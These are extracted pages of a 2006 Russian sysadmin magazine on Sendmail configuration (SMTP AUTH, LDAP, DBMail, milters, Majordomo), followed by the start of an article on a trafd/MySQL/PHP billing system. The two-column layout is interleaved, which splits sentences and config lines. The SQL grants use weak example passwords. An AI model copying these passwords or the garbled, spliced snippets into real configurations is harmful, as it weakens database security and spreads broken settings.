но узнать, подключившись с помощью telnet на 25-й порт В указанном файле прописываем параметры аутенти-
и введя команду EHLO: фикации на нужные серверы в следующем формате:

$ telnet localhost 25 AuthInfo:servak.de "U:<username>" "I:<identity>" ↵


"P:<password>" "M:LOGIN PLAIN"
Trying 127.0.0.1...
Connected to localhost. Здесь servak.de – имя удалённого сервера, которому
Escape character is '^]'.
220 server.ru ESMTP Sendmail 8.13.6/8.13.6; нужно будет предоставить аутентификационную инфор-
Thu, 13 Jul 2006 14:27:45 +0400 (MSD) мацию. В ключе M указываются методы, которые долж-
EHLO me
250-server.ru Hello localhost [127.0.0.1], pleased to meet you
ны при этом использоваться. Не забудьте создать хэш это-
250-ENHANCEDSTATUSCODES го файла.
250-PIPELINING
250-8BITMIME
250-SIZE 12500000 LDAP – путь к единению
250-DSN В крупных корпоративных сетях довольно часто использу-
250-AUTH GSSAPI DIGEST-MD5 CRAM-MD5
ются базы LDAP для хранения информации о пользовате-
250-DELIVERBY
250 HELP лях этих сетей. И было бы весьма разумно воспользовать-
ся этим механизмом для хранения некоторой конфигура-
Третья с конца строка как раз и отображает поддержи- ционной информации вашего почтового сервера.
ваемые механизмы аутентификации. Изменить их список Sendmail поддерживает возможность работы с LDAP-ба-
можно с помощью следующих директив: зой, позволяя вам использовать службу каталогов вместо
файлов access, aliases и т. д. Правда, так же, как и в случае
TRUST_AUTH_MECH(`DIGEST-MD5 LOGIN PLAIN')dnl с SASL, во FreeBSD он собран без поддержки LDAP. Вклю-
define(`confAUTH_MECHANISMS', `DIGEST-MD5 LOGIN PLAIN')dnl
чается эта поддержка аналогично:
Во второй строке перечисляются поддерживаемые ме- 1. Устанавливаем из портов openldap-client или openldap-
ханизмы вообще, в то время как первой директивой мы оп- server (если LDAP-сервера у нас ещё нет и мы хотим за-
ределяем список «доверенных» механизмов, т.е. тех, при пустить его на этой же машине).

LDAP протокол DAP, который и послужил основой информации, что упрощает её сопровож-
Lightweight Directory Access Protocol – об- для разработки более простого и удобно- дение (включая резервирование), позволя-
легчённый протокол доступа к каталогам – го в работе LDAP. ет также снизить задержки при получении
это протокол, призванный обеспечить ра- Записи, хранящиеся в ката лога х информации, если объёмы данных дости-
боту так называемой службы каталогов. LDAP, представлены уникальными имена- гают значительных величин.
Службы каталогов используются для цен- ми (distinguished name) и рядом атрибутов, Помимо свободной реализации служ-
трализованного хранения различной ин- определяемых в так называемых схемах. бы каталогов – OpenLDAP, широко исполь-
формации, такой как пользовательские Структура записей позволяет легко орга- зуемой в системах семейства UNIX/Linux,
учётные записи, адресные книги, различ- низовать записи в виде дерева. существует ряд других (например, Active
ные настройки. Основным преимуществом LDAP пе- Directory, предназначенная для управле-
Первоначально служба каталогов (оп- ред «плоскими» файлами или реляционны- ния сетями Windows).
ределённая в протоколе X.500) была ори- ми базами данных является ориентирован- Сам протокол LDAP определён в RFC
ентирована на обслуживание почтовых се- ность на высокую скорость чтения. С учё- 1777, RFC 2251 (версия 3). Существует так-
тей стандарта X.400, разработанного OSI. том очень эффективного кэширования, ис- же большое число расширяющих и допол-
Для доступа к этой службе использовался пользование LDAP, помимо централизации няющих документов.

28
администрирование

DBMail пользователей или там, где от почтовой # dbmail-users -c vasya -m 100M


Программа DBMail, разработка которой системы требуется максимальная гибкость
осуществляется двумя датскими фирма- и возможность реализовать самые различ- Любая статистика может быть полу-
ми – IC&S и NFG, позволяет организовать ные услуги (например, полнотекстовый по- чена напрямую из базы данных, с помо-
хранилище пользовательских почтовых иск по всему почтовому ящику с исполь- щью обычного SQL-запроса. Кроме того,
ящиков в базе данных общего назначе- зованием веб-интерфейса) хранение всех вы можете использовать все преимущес-
ния. Поддерживаются MySQL и PostgreSQL сообщений в БД даёт почти безграничные тва реляционных баз, такие как резерви-
(в версии 2.2 ожидается добавление к это- возможности. Например, DBMail очень лег- рование, размещение на отдельном сер-
му списку и SQLite). Для небольших почто- ко позволяет задать максимальный размер вере, кластеризация (хотя применитель-
вых серверов, обслуживающих локальную почтового ящика (в случае использования но к поддерживаемым в настоящее время
сеть вашего предприятия, дополнительное традиционных хранилищ для этого прихо- СУБД её реализация требует некоторых до-
звено в цепи «почтового обслуживания» дится прибегать к системному механизму полнительных усилий; см., например, ста-
пользователей лишь снизит надёжность установки квот на файловую систему): его тью Андрея Тренина «Создаём кластер
и усложнит сопровождение системы, прак- нужно просто указать в команде создания для PostgreSQL» (№1 за 2006 г.).
тически ничего не давая взамен. нового пользователя или изменения пара- Помимо Sendmail поддерживаются
Однако на системах с большим числом метров его учётной записи: практически все популярные MTA.

2. Вносим изменения в /etc/make.conf: бавить в mc-файл директивы, указывающие, что следует


использовать LDAP:
# Флаги LDAP для Sendmail
SENDMAIL_CFLAGS+= -I/usr/local/include -DLDAPMAP define(`confLDAP_DEFAULT_SPEC', `-h ldap.your.domain.ru ↵
SENDMAIL_LDFLAGS+= -L/usr/local/lib -b dc=your,dc=domain,dc=ru')
SENDMAIL_LDADD+= -lldap -llber FEATURE(`access_db', `LDAP')
define(`ALIAS_FILE', `ldap:')
3. Пересобираем Sendmail, как было описано для SASL
(см. пункт 4). Первая строка задаёт параметры LDAP-сервера, второй
мы указываем, что вместо /etc/mail/access следует использо-
Теперь уже знакомая нам команда должна вывести упо- вать службу каталогов, третьей строкой аналогично указы-
минание и про LDAP: ваем использовать LDAP для определения псевдонимов.

# sendmail -d0.1 -bv root | grep LDAP Альтернативные LDA


Compiled with: . . . LDAPMAP . . . USE_LDAP_INIT . . . Sendmail позволяет подключать практически любую про-
грамму в качестве локального агента доставки, естест-
Кстати говоря, если вы заодно хотите воспользоваться венно, при условии, что эта программа будет «вести се-
преимуществами самой последней версии Sendmail (дис- бя как LDA» (помните? – «если это выглядит как утка, кря-
трибутивная, как правило, отстаёт на один-два минорных кает как утка и ходит как утка, то это – утка»). Благода-
номера), то можно не мучиться с перекомпиляцией, а пос- ря этому у нас есть возможность довольно сильно влиять
тавить Sendmail из портов сразу с нужным набором функ- на то, как почта будет сохраняться. Поэтому не удивительно,
ций. Благо, этого добра там хватает: что помимо стандартного для FreeBSD mail.local разработа-
но большое число «альтернативных» агентов доставки.
$ make search name=sendmail | grep Port Прежде всего вспоминается очень мощная програм-
. . . . ма procmail, предоставляющая широчайшие возможнос-
Port: sendmail-8.13.7_1 ти по обработке почты, до того как она попадёт в почто-
Port: sendmail+tls+sasl2+ldap-8.13.7_1
Port: sendmail+tls+sasl2-8.13.7_1 вый ящик пользователя. Её порой так активно используют
. . . . для борьбы со спамом, что письмо в принципе может во-
обще не попасть к пользователю. Недаром во многих дис-
После перекомпиляции (или установки) Sendmail про- трибутивах Linux именно она работает в паре с Sendmail
верьте в /usr/local/etc/openldap/slapd.conf, подключена ли по умолчанию. Чтобы воспользоваться его преимущес-
схема sendmail.schema. твами, достаточно подключить этот LDA (директивой
Если нет, добавьте строку: MAILER(procmail), соответствующий m4-файл входит в стан-
дартную поставку Sendmail) и указать в mailertable исполь-
include /usr/share/sendmail/cf/sendmail.schema зование этого LDA для нужных доменов:

Эта команда подключит схему для Sendmail (где определе- your.domain procmail
ны допустимые атрибуты записей), что необходимо для пра-
вильного заполнения нужных полей. Второй вариант – включить в mc-файл директиву
Теперь осталось занести в каталог LDAP необходимые FEATURE(`local_procmail’), которая даст указание исполь-
записи (как это сделать, смотрите в документации по LDAP; зовать procmail в качестве стандартного LDA (объявленно-
несколько полезных ссылок приведено в конце статьи) и до- го как local).

№8, август 2006 29


администрирование
рая – для работы по протоколу LMTP. То есть почта, для об-
работки которой будет указан соответствующий агент до-
ставки, будет передаваться демону dbmail, который и зай-
мётся всем остальным. При необходимости можно исполь-
зовать и оба агента одновременно. Правда, при установ-
ке из портов файл dbmail.m4 нигде не появился, и его либо
придётся создать самому, подкорректировав один из име-
ющихся шаблонов (например, procmail.m4), либо найти
готовый (например, здесь: http://www.dbmail.org/dokuwiki/
doku.php?id=sendmail_howto).
Вторая задача (чтобы Sendmail знал, для какой поч-
ты следует использовать тот или иной LDA) – настройка
mailtertable для использования этого LDA:

your.domain dbmail
Рисунок 1. Схема прохождения сообщений other.domain dbmail-lmpt:[127.0.0.1]

Далее, если вы хотите просто перейти на использо- Естественно, вы можете указать использование dbmail
вание хранилища формата Maildir вместо стандартного только для необходимых доменов. Не забудьте всё пере-
mailbox, то в качестве LDA можно подключить, например, собрать и перезагрузить процесс sendmail, чтобы измене-
программу maildrop: ния вступили в силу.
Думаю, можно также безболезненно воспользоваться
FEATURE(`local_procmail', `/usr/local/bin/maildrop', ↵ тем же приёмом, которым мы подключали maildrop (т.е. со-
`maildrop -d $u')
здав видимость, что наш dbmail – это procmail, и восполь-
Здесь мы воспользовались той же самой директивой, толь- зовавшись готовыми шаблонами для этого LDA). Правда,
ко вместо пути к procmail указали нужный нам. Кстати, если на практике это не испытывал.
procmail у вас установлен нестандартно (т.е. не в /usr/local/bin),
то и для его подключения потребуется указывать полный путь. Расширенные возможности фильтрации
Естественно, для полноценной работы с Maildir ваш POP3/ Очень широкие возможности для обработки сообщений
IMAP-сервер тоже должен уметь работать с этим форматом, предоставляют появившиеся в версии 8.11.6 (неофициаль-
впрочем, это уже совсем другая история… но – с 8.10) почтовые фильтры, или «мильтеры» (milter, аб-
бревиатура от Mail fILTER).
Следующий шаг к совершенству – Почтовые фильтры широко применяются для взаимо-
DBMail действия с такими программами, как антивирусы, спам-
Для полного счастья хорошо бы ещё добавить гибкости фильтры и т. д. То есть они, по сути, предоставляют возмож-
почтовым ящикам пользователей. Одно из решений – ис- ность «заворачивать» обрабатываемое сообщение сторон-
пользовать для их хранения реляционную СУБД, что и ре- ней программе через сетевой или UNIX-сокет. Кстати гово-
ализуется проектом DBMail. ря, использование для взаимодействия сокетов позволя-
Подробно о DBMail здесь мы говорить не будем (этот ет размещать программу-фильтр на другой машине в сети,
пакет с успехом может применяться не только в связке что в ряде случаев может быть полезно для централизации
с Sendmail, но и с другими популярными MTA). Некоторая обработки или для снижения нагрузки на основной сервер,
общая информация представлена во врезке «DBMail». Так- если фильтрация требует существенных вычислительных
же обратитесь к статье Евгения Прокопьева «Почтовый сер- ресурсов или создаёт большую нагрузку на дисковую под-
вер на основе реляционной СУБД» (№1 за 2006 г.), где ра- систему. Но нельзя забывать и о дополнительных задерж-
бота DBMail освещена очень детально. ках в этом случае, равно как и о безопасности передавае-
Поскольку размещение входящей корреспонденции мой по сокету информации.
по почтовым ящикам пользователей не является функци- Фильтр позволяет контролировать обработку письма
ей MTA (как вы помните из первой части статьи, этим за- начиная с момента установления соединения с удалённым
нимается агент локальной доставки (LDA)), то с точки зре- сервером и до полного его получения. В любой момент об-
ния Sendmail его логика обработки сообщений совершен- работка может быть прервана с помощью одного из фла-
но не меняется. Всё что требуется – это зарегистрировать гов возврата: ACCEPT (принять сообщение), REJECT (от-
DBMail в качестве LDA и дать указание Sendmail использо- клонить с уведомлением об этом отправителя) или DISCARD
вать именно его для доставки входящей корреспонденции, (отбросить без каких-либо уведомлений). То есть, скажем,
как мы это делали для procmail. Первая задача решается если необходимость отклонить сообщение будет выявлена
одной из следующих директив в mc-файле: на ранних стадиях сеанса, например, на основе информа-
ции, помещённой в заголовок, то это можно будет сделать
MAILER(dbmail) до того, как письмо будет принято полностью. Ещё один
MAILER(dbmail-lmtp)
пример использования такой возможности – приём сооб-
Первая строка подключает DBMail в качестве LDA, ра- щения (ACCEPT) без проверки всех вложений на вирусы,
ботающего обычным образом (по конвейеру (pipe)), вто- если в заголовке будет обнаружена строка, информирую-

30
администрирование
щая о том, что такая проверка уже выполнялась сервером Флаги тайм-аутов
отправителя (хотя всецело доверять таким заголовкам, ко- Флаг Описание
нечно же, не стоит). C Задержка при соединении с фильтром
Помимо решения о том, принять или отклонить сооб-
E Задержка при ожидании подтверждения полной передачи
щение, milter позволяет вносить изменения в тему или те-
ло сообщения, добавлять строки в заголовок, и т. д. Бла- R Задержка при ожидании ответа фильтра

годаря этому можно, например, поместить в заголовок ин- S Задержка передачи данных фильтру
формацию о выполненной антивирусной проверке или ос-
тавить пометку, что письмо признано вероятным спамом. вать фильтры на родном для Sendmail языке C (в списке
Именно так поступают многие антивирусные и антиспамо- дополнительной литературы вы найдёте ссылку на при-
вые пакеты. мер разработки milter для дублирования исходящей поч-
Условно схема прохождения письма через подключен- ты на некоторый адрес). Существуют «привязки» к это-
ные фильтры показана на рис. 1. Фильтров может быть му API для других языков программирования, например,
сколь угодно много (реальное ограничение накладывает- для Perl (модуль Sendmail::Milter, в коллекции портов –
ся лишь нагрузкой на систему и требованиями к допусти- mail/p5-Sendmail-Milter) и Python (интерфейс Python Milter,
мой задержке при обработке сообщений). Порядок приме- в Портах – mail/py-milter). Прекрасный пример разработки
нения фильтров определяется порядком их подключения фильтра на Python рассматривался в статье Романа Сузи
в конфигурационном файле. «Почтовый фильтр, или Milter = Mail + Filter» (№2 за 2003 г.,
Кстати, о конфигурации... Подключается milter такой статью вы можете найти на сайте журнала в разделе «Ста-
директивой: тьи».).

INPUT_MAIL_FILTER(`clmilter', ↵ Списки рассылки


`S=local:/var/run/clamav/clmilter.sock, ↵
F=, T=S:4m;R:4m') Электронная почта широко используется в самых различ-
ных формах. Конечно, если говорить о ведении групповых
Первым аргументом передаётся имя фильтра, вторым – дискуссий, то есть и более удобные средства: IRC, службы
строка параметров. Параметра может быть три: новостей (NNTP), веб-форумы, наконец. Несмотря на это,
 S, который задаёт используемый сокет (может быть local списки рассылки по электронной почте до сих пор оста-
и inet); ются довольно популярным способом обсуждения тех или
 F, определяющий, как поступать с письмом в случае иных проблем. Очень многие открытые проекты (например,
проблем с milter (F=T означает возвращать отправите- FreeBSD.org, ALT Linux) используют рассылки для оказания
лю временную ошибку (temporary fail), F=R – отбросить технической поддержки своим пользователям, для обсуж-
(reject) соединение, пустое значение F= даёт указание дения новых возможностей тестовых версий, для уведом-
игнорировать проблемы с milter и обрабатывать соеди- лений об обнаруженных проблемах безопасности…
нение без фильтрации); Одной из наиболее известных систем управления спис-
 T задаёт несколько тайм-аутов (см. таблицу), по истече- ками рассылки является программа Majordomo. Она очень
нии которых фильтр будет признан «неотвечающим». хорошо интегрируется с серверами Sendmail и обладает до-
статочным набором функций для работы с рассылками.
В нашем примере, если clamav-milter не начнёт при- Установка из коллекции портов никаких сложностей
нимать сообщение от Sendmail в течение четырёх минут не вызывает, за исключением одного небольшого нюан-
или не даст ответ в течение такого же времени, то сообще- са: начиная с FreeBSD 5.x Perl не является частью систе-
ние будет передано на дальнейшую обработку без филь- мы и должен устанавливаться из портов, т.е. размещается
трации. в /usr/local/bin. Однако порт Majordomo по-старинке хотел
Вместо указанной выше директивы можно подключать видеть /usr/bin/perl. Пришлось ставить ссылку (хотя можно,
фильтры и таким образом: конечно, и Makefile подправить):

MAIL_FILTER(`miltergreylist', ↵ # ln /usr/local/bin/perl /usr/bin/perl


`S=local:/var/milter-greylist/milter-greylist.sock, ↵
F=, T=S:4m;R:4m')dnl
define(`confINPUT_MAIL_FILTERS', `miltergreylist') После этого вам нужно будет указать, какой MTA будет
использоваться (см. рис. 2; наш выбор, думаю, очевиден).
Здесь процедура подключения фильтра разделена После непродолжительной компиляции мы получим немно-
на два этапа – первой директивой мы объявляем milter с ука- го нестандартную для FreeBSD схему размещения файлов:
занными параметрами, второй – регистрируем указанный «бинарники» и файлы конфигурации будут располагаться
milter как фильтр для обработки сообщений. Если по такой в /usr/local/majordomo. Наиболее важны здесь два конфи-
схеме требуется подключить несколько почтовых филь- гурационных файла – majordomo.cf, где можно изменить
тров, то директива define нужна только одна, в которой че- базовые настройки, и aliases.majordomo, содержащий на-
рез запятую перечисляются все регистрируемые фильтры строенный набор псевдонимов, с помощью которых будет
в нужном порядке. работать Majordomo.
Нужно сказать, что для разработки milter существует Принцип взаимодействия этого пакета с Sendmail доста-
прекрасный API, позволяющий довольно быстро созда- точно прост и основан на псевдонимах. Например, сообще-

№8, август 2006 31


администрирование
2. Электронная версия 3-го издания «Bat Book» издательства
O’Reilly – http://hell.org.ua/Docs/oreilly/other2/Sendmail_3rd.
3. Система электронной почты на основе LINUX. Руководство
администратора – http://kazna.pl.ua/sysadmins/orel/chap1.htm.
4. 25 статей по различным аспектам настройки Sendmail с ис-
пользованием m4 – http://vk.pp.ru/docs/sendmail/m4.
5. Настройка почтового сервиса на основе Sendmail – http://
www.uinc.ru/articles/31.
6. Андрей Шетухин. Настраиваем Sendmail для виртуального
почтового хостинга. – http://reki.ru/sendmail_setup.html.
7. Андрей Шетухин. Настраиваем Sendmail в качестве транзитно-
го почтового релея. – http://reki.ru/sendmail_transit_setup.html.
8. Андрей Шетухин. Фильтрафия спама в sendmail. – http://reki.
Рисунок 2. Диалог выбора MTA для Majordomo
ru/spam-filtering.html.
ние, поступающее на адрес majordomo@your.domain.ru будет 9. Хорошая подборка различных статей – http://kazna.pl.ua/
перенаправлено программе /usr/local/majordomo/wrapper sysadmins/sendmail.html.
и обработано в соответствии с настройками списка.
Для того чтобы Majordomo начал работать, нужно под- Аутентификация
ключить к Sendmail его файл псевдонимов (хотя можно 1. RFC 2554 (Расширение SMTP сервиса для аутентификации) –
и просто скопировать нужные строки в /etc/mail/aliases): http://www.tigir.com/rfc2554.html.
2. SMTP AUTH in sendmail 8.10-8.13 – http://www.sendmail.org/~ca/
define(`ALIAS_FILE', `/etc/mail/aliases, ↵ email/auth.html.
/usr/local/majordomo/aliases.majordomo')
3. Руководство FreeBSD. 24.10 SMTP аутентификация – http://www.
Всё – Majordomo готов к работе. Отправив письмо с ко- freebsd.org/doc/ru_RU.KOI8-R/books/handbook/smtp-auth.html.
мандой «lists» в теле на свой домен на адрес majordomo, 4. Аутентификация в sendmail – http://openbsd.hnet.spb.ru/sasl.html.
вы получите информацию о доступных списках рассыл- 5. Использование SMTP-AUTH в FreeBSD на базе MTA
ки (по умолчанию там будет test-l и test-l-digest). По об- Sendmail-8.13.x – http://unix1.jinr.ru/~lavr/sendmail+sasl2.
разу и подобию вы можете создавать собственные спис- 6. Аутентификация пользователей – http://www.opennet.ru/docs/
ки, для чего нужно создать пустой файл, соответствую- RUS/Cyrus_imap/install-auth.html.
щий имени рассылки, в /usr/local/majordomo/lists, а также 7. Аутентификация SMTP: sendmail + SASL + LDAP – http://
в aliases.majordomo ввести псевдонимы для самой рассыл- avdor.irkutsk.ru/faq/article.php?show_id=335.
ки, команд, адресов владельцев и т. д. – пример можно пос-
мотреть для того же демо-списка, test-l. LDAP
Дальнейшее администрирование может выполнять- 1. Арсений Чеботарёв, LDAP: каталог д ля всех – http://
ся через электронную почту. Например, чтобы поэкспе- www.citforum.ru/operation_systems/linux/ldap_cat.
риментировать со списком test-l, первым делом рекомен- 2. В с е в ол од С та хо в, LDAP- H OW TO п о - рус с к и – ht tp: / /
дуется сменить пароль администратора, послав на адрес www.ldapzone.spb.ru/docs/ldap_art.phtml.
test-l-request письмо в фразой «passwd test-l test mynewpas», 3. Всеволод Стахов, Sendmail + LDAP FAQ – http://www.ldapzone.
где test-l – имя списка, для которого меняется пароль, test – spb.ru/docs/sendmail_ldap.phtml.
старый пароль (используется по умолчанию), mynewpas – 4. Андрей Афлетдинов, Сохраняем настройки Sendmail в дирек-
новый пароль. В случае удачи вы получите письмо с сооб- ториях LDAP – http://www.opennet.ru/docs/RUS/mail2ldap.
щением «Password changed».
Впрочем, работа со списками рассылок – это уже другая Milter API
тема, и здесь не будем вдаваться в подробности. Тем бо- 1. Официальный сайт, посвящённый Milter API (здесь же можно
лее что к вашим услугам – отличная страница справки, найти огромный архив готовых фильтров на все случаи жиз-
man majordomo. ни) – http://www.milter.org.
2. Роман Сузи, Почтовый фильтр, или Milter = Mail + Filter – http://
Подводная часть айсберга www.samag.ru/art/02.2003/02.2003_06.pdf.
На этом, пожалуй, и завершим наше знакомство с Sendmail. 3. Пример milter на языке C для дублирования исходящей поч-
Естественно, даже в пределах столь объёмного цикла не- ты – http://www.opennet.ru/base/met/mail_copy_milter.txt.html.
возможно охватить все аспекты работы этого мощного па-
кета. Поэтому в заключение я решил привести список ссы- Прочие
лок (тоже далеко не полный), по которым можно получить 1. Основной сайт проекта DBMail – http://www.dbmail.org.
дополнительную информацию. 2. DBMail Documentation – http://www.helgrim.com/dbmaildocs/
На этом всё! Удачи! installation.html.
3. SMTP STARTTLS в sendmail/Secure Switch – http://linuxnews.ru/
Sendmail docs/new/starttls.html.
1. Основной сайт проекта с полезной документацией – http:// 4. Majordomo and MajorCool HOWTO – http://www.opennet.ru/docs/
www.sendmail.org. HOWTO/Majordomo-MajorCool-HOWTO.

32
администрирование

Биллинг на FreeBSD: пишем сами,


используя PHP, trafd и MySQL

Александр Чагадаев
Если пользователи жалуются, что Интернет «тормозит», а начальство ругается, что счета
от провайдера слишком большие, покупка готового биллинга – не единственный выход.
В настоящее время большинство юри- ми и специальным образом настро-  мой большой опыт работы с ним;
дических лиц – пользователей Интер- енной (включён сервис NAT) сетевой  наличие очень удобного инстру-
нета – оплачивают услуги исходя из ко- ОС (FreeBSD, Linux, Windows, Solaris мента IBExpert (http://www.ibexpert.
личества принятого (и/или переданно- и т. д.). Или же это может быть специ- com).
го) трафика. ально разработанное устройство (не-
Для небольших организаций плата редко также использующее одну из пе- Против:
за трафик не является такой уж незна- речисленных выше ОС). Возможны  работа текущей на тот момент вер-
чительной, и остро встаёт вопрос учета и другие варианты, я рассмотрю на- сии (1.5) только из-под inetd. На сер-
трафика, израсходованного конкрет- иболее распространенный. вере этот демон не использовался
ным пользователем, и целей, на кото- В своё время передо мной была и поднимать его только ради бил-
рые этот трафик был потрачен. Проще именно такая задача – учёт и ограни- линга не хотелось;
говоря, руководству организации нуж- чение трафика. В качестве роутера ис-  поддержка транзакций, обеспечива-
на информация о посещённых сайтах пользовался ПК с 2 сетевыми карта- ющих большую надёжность в ущерб
в случае использования протокола http, ми и установленной ОС FreeBSD. Не- скорости, что для нашей системы
скачанных файлах в случае использо- смотря на кажущуюся распространён- совершенно неоправданно.
вания протокола ftp и т. д. Причём неко- ность – почти банальность – задачи,
торых сотрудников бывает сложно убе- полностью устраивающее готовое ре- В конечном счёте, я остановился
дить, что большой трафик – результат шение найти не удалось. (Рассмат- на MySQL (4-я или 5-я версии, но, ду-
их собственных действий, если не пре- ривались только бесплатные систе- маю, будет работать и с 3-й).
доставить подробного списка ресурсов мы.) В результате было принято ре- Язык программирования для об-
с данными о трафике. шение писать собственную биллинго- щения с базой данных – PHP, за C-по-
По тем или иным причинам (забота вую систему. добный синтаксис, возможность ис-
организации об информационной бе- пользования программ на нём как
зопасности, дефицит реальных IP-ад- Используемое ПО просто в системе, так и внутри HTML-
ресов у провайдера) подключение Для сбора трафика используется BPFT страниц.
внутренней ЛВС организации к Ин- (http://bpft4.sourceforge.net). Систе-
тернету обычно происходит через ро- ма построена на основе библиотеки Система учёта IP-трафика
утер, установленный на границе меж- libpcap и использует механизм BPF Функционально в системе биллин-
ду внутренней ЛВС организации и Ин- (Berkley Packet Filter «pseudo-device») га можно условно выделить три моду-
тернетом. для захвата IP-трафика. ля: учёт трафика, вывод информации
В качестве роу тера может ис- При выборе СУБД я выбирал между об учтённом трафике и модуль разре-
пользоваться ПК с 2 сетевыми карта- MySQL и Firebird. За Firebird было: шения/запрещения пользования Интер-

34
администрирование

Что такое adc_billing дый из них за произвольный про- ветствия MAC и IP-адресов и происхо-
Назначение: система биллинга IP-тра- межуток времени; дит принудительное присваивание со-
фика.  список IP-адресов контролируемой ответствия MAC и IP-адресов для про-
Возможности: сети с количеством байт, передан- токола ARP (т.н. статический ARP).
 Единая база данных по IT-ресурсам ных с каждого и принятых на каж-  По указанной выше причине в теку-
предприятия: ФИО пользователей, дый из них за текущий месяц и се- щей реализации невозможна работа
IP-адреса и названия их компьютеров, годняшний день. на одном ПК нескольких пользовате-
лимиты на пользование Интернетом,  Отключение IP-адресов от Интернета лей, у каждого из которых установлен
любые другие данные. согласно месячной таблице лимитов. собственный лимит. Поскольку на са-
 Любой пользователь может самостоя-  Легкость расширения системы (новые мостоятельную добровольную смену
тельно просмотреть свою статистику. отчёты, новые модули) благодаря про- IP-адреса пользователем рассчиты-
 Подсчёт IP (TCP/UDP)-трафика. зрачной структуре таблиц и используе- вать особенно не приходится, пред-
 Встроенные отчёты для администра- мого языка программирования – PHP. ставляется возможным реализовать
тора: смену адреса с помощью скрипта.
 суммарное количество байт, пе- Недостатки:  Текущие SQL-запросы рассчитаны
реданных с каждого и принятых  Аутентификация пользователей про- на использование только одной внут-
на каждый из IP-адресов контро- изводится только по IP-адресам. Ни- ренней подсети.
лируемой сети и принятых на IP-ад- как не контролируется возможная сме-  Отсутствует специальный HTML-ин-
рес контролируемой сети с группи- на пользователем IP-адреса. Эта осо- терфейс для редактирования данных
ровкой по IP-адресам внешней се- бенность, если в конкретном случае (в т. ч. лимитов) пользователей; ре-
ти за произвольный промежуток она является недостатком, может быть дактирование происходит путём не-
времени; устранена: нужно добавить в таблицу посредственного изменения данных
 список IP-адресов контролируемой IP поле «MAC-адрес» и написать ма- в БД. Этот недостаток легко устра-
сети с количеством байт, передан- ленький скрипт, в котором отключает- ним путём написания соответствую-
ных с каждого и принятых на каж- ся автоматическое присваивание соот- щего модуля.

нетом. Поскольку данные в таблицы пишет первый из этих SRC_PORT VARCHAR(5) NOT NULL,
DEST_PORT VARCHAR(5) NOT NULL,
модулей, начнём раздел с описания структуры таблиц. PROTO VARCHAR(4) NOT NULL,
DATA_BYTES INTEGER NOT NULL,
ALL_BYTES INTEGER NOT NULL,
Структура таблиц FIRST_TIME TIMESTAMP NOT NULL,
Создадим базу данных с именем traffic. В базе создадим две LAST_TIME TIMESTAMP NOT NULL,
INDEX(IP_FROM), INDEX(IP_TO), INDEX(SRC_PORT), ↵
таблицы: Ip – данные о IP-адресе и Log – данные о трафике. INDEX(DEST_PORT), INDEX(PROTO), INDEX(ALL_BYTES), ↵
Назначение полей этих таблиц понятно из их названий. INDEX(FIRST_TIME), INDEX(IP_FROM,FIRST_TIME), ↵
INDEX(IP_TO,FIRST_TIME)
Также создадим двух пользователей, имеющих право ) ENGINE = MyISAM
подсоединяться к базе данных только с локального ком- ROW_FORMAT = fixed;
пьютера: insert_user – пользователь, который имеет право
только добавлять данные в базу и view_user – пользователь, Как видно из скрипта create_db_&_users_&_tables.sql,
который имеет право только читать данные из базы. Паро- в качестве формата базы был выбран – MyISAM, который
ли, конечно же, только для статьи – при инсталляции систе- обеспечивает большую скорость работы за счёт отсутствия
мы рекомендуется сгенерировать более стойкие к взлому. транзакций. Параметр ROW_FORMAT определяет, каким об-
разом должны храниться строки в файле базы данных. За-
Файл create_db_&_users_&_tables.sql давая этому параметру значения fixed, мы предписываем
CREATE DATABASE traffic MySQL под каждую переменную типа VARCHAR выделять
DEFAULT CHARACTER SET koi8r не реально занимаемое её значением место, а максималь-
DEFAULT COLLATE koi8r_general_ci;
GRANT INSERT ON traffic.* TO 'insert_user'@'localhost' ↵ но возможное. Например, если мы при создании базы опре-
IDENTIFIED BY '123456789'; делили поле IP_TO как VARCHAR(15), то независимо от дли-
GRANT SELECT ON traffic.* TO 'view_user'@'localhost' ↵
IDENTIFIED BY '987654321'; ны помещённых в него данных, оно всегда будет занимать
USE traffic; 15 байт. Хотя из-за этого файл базы данных будет занимать
CREATE TABLE Ip (
IP VARCHAR(15) NOT NULL PRIMARY KEY, больше места, нам в этой ситуации важнее, что операции
QUOTA INTEGER, с базой будут проходить несколько быстрее.
PCNAME VARCHAR(100),
FNAME VARCHAR(100),
MNAME VARCHAR(100), Настройка ОС FreeBSD
LNAME VARCHAR(100),
EMAIL VARCHAR(200), Ядро системы FreeBSD должно включать поддержку
INDEX(IP) pseudo-device BPF, для чего в файле конфигурации
) ENGINE = MyISAM;
CREATE TABLE Log ( adc-kernel должна присутствовать строка:
NN INTEGER(12) UNSIGNED AUTO_INCREMENT ↵
NOT NULL PRIMARY KEY, # The `bpf' device enables the Berkeley Packet Filter.
IP_FROM VARCHAR(15) NOT NULL, device bpf #Berkeley packet filter
IP_TO VARCHAR(15) NOT NULL,

№8, август 2006 35


администрирование
Я рекомендовал бы устанавливать trafd, MySQL, PHP my_sql {
и прочее программное обеспечение из портов (как и лю- from:"insert into Log (ip_from,ip_to,src_port, ↵
бой софт под FreeBSD, кроме cvsup). dest_port,proto,data_bytes,all_bytes,first_time, ↵
last_time) values('%s',"
Примечание: порт net/cvsup зависит от системы to:"'%s',"
Modula-3, которой потребуется существенный объем вре- sport:"'%s',"
dport:"'%s',"
мени и пространства на диске для загрузки и установки, по- proto:"'%s',"
этому обычно автор устанавливает cvsup из пакетов. bytes:"%ld, "
psize:"%ld, "
ftime:"'%y-%m-%d %T',"
Настройка trafd ltime:"'%y-%m-%d %T');\n"
Настройка основных параметров trafd осуществляется };
в файле rc.conf, как и должно быть у всякого порядочного
демона для системы FreeBSD.
Командные файлы
trafd_enable="YES" Были написаны два командных файла для связки trafd
trafd_ifaces="rl0 xl0" и MySQL: trafd_dump.sh и trafd_to_mysql.sh.
trafd_flags="-p -r" Краткое описание выполняемых действий: trafd_dump.sh
trafd_pid="/var/run/trafd" даёт команду trafd скинуть данные по трафику на всех про-
слушиваемых им интерфейсах во временные файлы. Ин-
Полезна возможность пакета программ trafd, позволя- формация об успехе или неуспехе подачи команды сохра-
ющая существенно сэкономить усилия при написании бил- няется в syslogd.
линга, который в качестве анализатора трафика использу-
ет trafd – не надо писать свой парсер логов. В состав паке- Файл trafd_dump.sh
та программ trafd входит утилита traflog, которая может эк- #!/bin/sh
спортировать данные по трафику в любой текстовой файл
. /etc/rc.conf
в соответствии с форматом, заданным в её конфигураци-
онном файле – traflog.format. for iface in ${trafd_ifaces}; do
if [ -f ${trafd_pid}.${iface} ]; then
